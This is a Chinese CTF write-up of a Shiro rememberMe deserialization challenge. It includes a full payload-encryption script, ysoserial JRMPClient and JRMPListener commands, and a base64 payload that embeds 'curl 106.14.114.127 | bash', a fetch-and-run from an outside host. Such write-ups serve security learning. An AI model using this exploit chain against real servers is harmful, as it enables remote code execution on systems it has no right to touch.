2019 OGeek Final & Java Web - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

2019 OGeek Final & Java Web

一叶飘零 web安全 2019-09-29 09:18:09
302794
收藏

导语:前段时间参加了OPPO举办的OGeek网络安全比赛线下赛,遇到一道Java Web,由于不太擅长,只是做了防御没有攻击成功,现在复盘一下~

前言

前段时间参加了OPPO举办的OGeek网络安全比赛线下赛,遇到一道Java Web,由于不太擅长,只是做了防御没有攻击成功,趁周末复盘一下~

代码分析

拿到题目,发现没有啥功能:

2019-09-28-12-30-50.png

顺势看了一眼源码:

2019-09-28-12-32-00.png

看到shiro后立刻可以想到shiro的反序列化漏洞:

https://paper.seebug.org/shiro-rememberme-1-2-4/

可以看到存在漏洞的shiro版本号为:1.2.4,我们查看题目当前版本:

2019-09-28-12-34-35.png

那么显然,是存在shiro反序列化攻击的。

shiro反序列化

查阅相关资料可以知道,该漏洞的利用,涉及如下几个重要的点:

- rememberMe cookie
- CookieRememberMeManager.java
- Base64
- 加密算法
- 加密密钥硬编码
- Java serialization

我们可以知道,攻击的可控点在登录时的RememberMe,但是该值是需要序列化、加密、Base64的,那么很自然的,我们第一步应该是去寻找它对应的加解密算法,我们查看配置文件:webapps/web/WEB-INF/classes/spring-shiro.xml,发现如下关键信息:

2019-09-28-12-37-10.png

可以得知我们的加解密算法位置在ShiroRememberManager类中,我们进行查看:

private byte[] getKeyFromConfig() {
    try {
        InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
        String key = "";
        if (fileInputStream != null && fileInputStream.available() >= 32) {
            byte[] bytes = new byte[fileInputStream.available()];
            fileInputStream.read(bytes);
            key = new String(bytes);
            fileInputStream.close();
        } else {
            BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
            key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
            writer.write(key);
            writer.close();
        }
        key = (new Md5Hash(key)).toString();
        return key.getBytes();
    } catch (Exception var4) {
        var4.printStackTrace();
        return null;
    }
}

我们关注到关键点:加密密钥硬编码,其密钥位置为:com/collection/shiro/manager/remember.key

我们可以查看其值为:

$ cat remember.key
wR&_(NVG#c&9(CDhaDMZELDmxSe(mwbB

找到了密钥位置,我们去查看一下加解密算法:

private CipherService cipherService = new ShiroCipherService();

关注到ShiroCipherService类:

public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
    String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
    Subject subject = SecurityUtils.getSubject();
    HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
    String user_agent = servletRequest.getHeader("User-Agent");
    String ip_address = servletRequest.getHeader("X-Forwarded-For");
    ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address;
    String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
    byte[] data_bytes = data.getBytes();
    byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
    byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
    byte[] out = new byte[2 * data_bytes.length];
    for(int i = 0; i < data_bytes.length; ++i) {
        out[i * 2] = mkey[i % mkey.length];
        out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
    }
    byte[] result = new byte[out.length];
    for(int i = 0; i < out.length; ++i) {
        result[i] = (byte)(out[i] ^ okey[i % okey.length]);
    }
    return Util.bytes(result);
}

以往的加密算法一般为AES,可以发现这里出题人自己编写了一个加密规则,简单看一下,应该是一个异或加密,相应的解密规则也不需要我们编写,出题人也直接给出了解密规则:

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
    String skey = (new Sha1Hash(new String(key))).toString();
    byte[] bkey = skey.getBytes();
    byte[] data_bytes = new byte[ciphertext.length];
    for(int i = 0; i < ciphertext.length; ++i) {
        data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
    }
    byte[] jsonData = new byte[ciphertext.length / 2];
    for(int i = 0; i < jsonData.length; ++i) {
        jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
    }
    JSONObject jsonObject = new JSONObject(new String(jsonData));
    String serial = (String)jsonObject.get("serialize_data");
    return Util.bytes(Base64.getDecoder().decode(serial));
}

但值得注意的是,其中加密算法还是带有一个随机值:

byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();

但该值是用于签名,在解密时,并不会校验签名,所以并没有什么影响。

Exp编写

拥有了密钥、加密算法,那么剩下的就是构造我们的exp了,不同往上存在的exp,我们需要自己进行改写exp加密部分,首先我们查看lib文件下:

2019-09-28-12-56-27.png

我们发现使用了commons-collections-3.1.jar,通过ysoserial.jar进行查看:

2019-09-28-12-57-45.png

在内网环境中,攻击目标为:192.168.1.185,而攻击者为192.168.1.230,

我们通过ysoserial.jar进行exp构造:

java -jar ysoserial.jar JRMPClient '192.168.1.230:22222' | base64 > poc

生成对应exp,然后编写我们的payload加密脚本:

import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.UUID;
import com.alibaba.fastjson.JSON;
import com.sun.xml.internal.rngom.parse.host.Base;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.crypto.hash.Sha1Hash;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.ByteSource;
import org.json.JSONObject;
import org.omg.PortableInterceptor.SYSTEM_EXCEPTION;
/**
 * Hello world!
 */
public class App {
    public static void main(String[] args) throws Exception {
        String b64_pay = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxl\n" +
        "Y3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhh\n" +
        "bmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVy\n" +
        "AAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3\n" +
        "QwAKVW5pY2FzdFJlZgAaY3VybCAxMDYuMTQuMTE0LjEyNyB8IGJhc2gAALXUAAAAADbgqhEAAAAA\n" +
        "AAAAAAAAAAAAAAB4"
        String json = "{\"user_is_login\":\"1\",\"sign\":\"d912fc80c68563b2f5ad7b784d56e0c1asfda-92u134-\",\"ip_address\":\"192.168.1.185\",\"user_agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\",\"serialize_data\":\""+b64_pay+"\"}";
        String key = "wR&_(NVG#c&9(CDhaDMZELDmxSe(mwbB";
        key = (new Md5Hash(key)).toString();
        byte[] key_b = key.getBytes();
        //System.out.println(decrypt(cipher_b, key_b));
        System.out.println(encrypt(json, key_b));
    }
    public static ByteSource encrypt(String data, byte[] key) throws CryptoException {
        byte[] data_bytes = data.getBytes();
        byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
        byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
        byte[] out = new byte[2 * data_bytes.length];
        for(int i = 0; i < data_bytes.length; ++i) {
            out[i * 2] = mkey[i % mkey.length];
            out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
        }
        byte[] result = new byte[out.length];
        for(int i = 0; i < out.length; ++i) {
            result[i] = (byte)(out[i] ^ okey[i % okey.length]);
        }
        return ByteSource.Util.bytes(result);
    }
}

运行即可生成对应的RememberMe的值,并将该值作为RememberMe的值,放于Cookie中,先运行以下命令,再将请求发送给攻击目标:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 22222 CommonsCollections5 'open -a Calculator'

即可命令执行。

后记

还是对Java不太熟练,比赛的时候,这个漏洞的难度还是低于PHP的(,以后还得加加油~

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务